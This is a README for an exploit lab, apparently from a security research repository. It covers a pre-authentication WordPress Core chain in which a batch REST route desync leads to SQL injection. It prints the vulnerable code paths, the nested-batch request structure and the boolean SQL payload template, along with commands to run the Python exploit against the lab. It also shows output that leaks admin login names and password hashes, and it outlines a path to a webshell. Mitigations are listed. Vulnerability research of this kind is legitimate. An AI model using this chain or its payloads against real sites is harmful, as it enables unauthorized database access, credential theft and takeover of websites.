$ cat cve-2026-63030-wp2shell.mdx
CVE-2026-63030: wp2shell — WordPress Core pre-auth REST route confusion → SQLi
Authorization: this is a deliberately vulnerable, self-contained Docker lab built for education and security research. Run it locally and isolated only — never expose it to the internet, and only point the exploit at this lab or systems you are explicitly authorized to test. Misuse can be a crime.
Summary
wp2shell is a pre-authentication remote code execution chain in WordPress Core, fixed in 6.9.5 and 7.0.2. It stitches together two bugs:
| CVE | Component | Bug |
|---|---|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Route confusion: a desync between validation and dispatch of batched sub-requests |
| CVE-2026-60137 | WP_Query (author__not_in) | SQL injection when the value arrives as a string instead of an array |
Chained, they let an attacker with no credentials run arbitrary SQL — and, in the full advisory sequence, reach RCE. Versions affected by the RCE chain: 6.9.0–6.9.4 and 7.0.0–7.0.1.
This repository is a full victim lab (WordPress Core 7.0.1 + MySQL on Docker)
plus a Python exploit that demonstrates the pre-auth core of the chain: route
confusion → blind SQLi → password-hash extraction.
Impact
- Unauthenticated. No login, no API key — a plain HTTP client is enough.
- Arbitrary SQL read against the WordPress database via a boolean/time oracle.
- Credential disclosure:
wp_userslogin names and$wp$2y$...bcrypt hashes are extracted char-by-char, which crack offline into working admin passwords. - Path to RCE: with an admin password recovered, log into
/wp-admin, upload a malicious plugin (or edit a theme), and land a webshell.
How the chain works
1. The batch desync (serve_batch_request_v1)
In wp-includes/rest-api/class-wp-rest-server.php, the batch handler walks two
parallel arrays — $matches (matched route/handler) and $validation (the
validation result). A sub-request that fails to parse is pushed into
$validation but skips $matches:
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // e.g. path "///" -> wp_parse_url() === false
$validation[] = $single_request; // enters $validation ONLY
continue; // $matches gets NO entry => desync
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
$validation[] = $error ? $error : true;
}At dispatch time the handler is read from $matches[$i], while the request body
still follows the full index of $requests. A primer sub-request that fails
to parse ("///") shifts everything in $matches by one slot — so one
sub-request is executed under another's handler.
2. Smuggling GET sub-requests (nested batch)
The batch schema only accepts POST/PUT/PATCH/DELETE (GET is rejected with
rest_not_in_enum). The exploit sidesteps this with a batch inside a batch:
[ primer("///"),
carrier = POST /wp/v2/posts (body = INNER BATCH),
POST /batch/v1 ]The carrier validates as a posts create_item (it passes: allow_batch=true,
no required params). Because it is not validated as a batch, its body escapes
the method-enum check. The outer desync then dispatches the carrier under the
/batch/v1 handler stolen from the third sub-request, so
serve_batch_request_v1 processes its raw body — this time carrying GET
sub-requests.
3. Reaching the SQL sink
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users has no author_exclude => raw value
GET /wp/v2/posts ]A second, inner desync runs GET /wp/v2/users (carrying the unsanitized
author_exclude) under posts get_items(), which maps author_exclude → author__not_in. In WP_Query, the vulnerable branch only sanitizes arrays:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // a string SKIPS sanitization
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // injection
}The boolean payload 0) AND (<condition>)-- - turns the WHERE into an oracle
(rows returned = true; empty = false), and data is extracted char-by-char via
binary search.
Proof of concept
The exploit uses only the Python 3 standard library — no dependencies.
outer desync ──▶ smuggle a nested batch under /batch/v1
inner desync ──▶ run GET /wp/v2/users under posts get_items()
author_exclude ─▶ raw string into author__not_in => SQLi oracle
binary search ──▶ leak wp_users logins + $wp$2y$ hashes, no authRun it
Prerequisites: Docker, Docker Compose, and Python 3.
1. Bring up the vulnerable environment:
docker compose up -d db wordpress # MySQL + WordPress 7.0.1
docker compose run --rm wpcli # installs WP, seeds users/contentThis provisions a site at http://localhost:8080, an admin and a second
victim admin (the hash-extraction target), and one published post (needed for
get_items() to return rows). Confirm the vulnerable version:
docker exec wp2shell-cli wp core version # 7.0.12. Fire the exploit:
python3 exploit.py --url http://localhost:8080Expected output (trimmed):
[+] Route confusion OK: GET /wp/v2/users executed under posts get_items()
[+] Blind SQL injection confirmed (boolean oracle 1=1 vs 1=2)
[+] Credentials extracted (pre-auth, no login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0eOther modes:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # arbitrary SQL
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # show each query3. Verify the leaked data is real — compare against the database the exploit never touched:
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"The hashes should be identical to those the exploit extracted over HTTP.
Mitigation
Update WordPress Core to 6.9.5 / 7.0.2 or later. The patch forces
author__not_in to integers (wp_parse_id_list) even when it arrives as a
string, and ensures batch errors occupy a slot in both arrays — closing the
desync. Compensating controls: a WAF filtering /wp-json/batch/v1, disabling the
unauthenticated REST API, and alerting on author_exclude values containing SQL.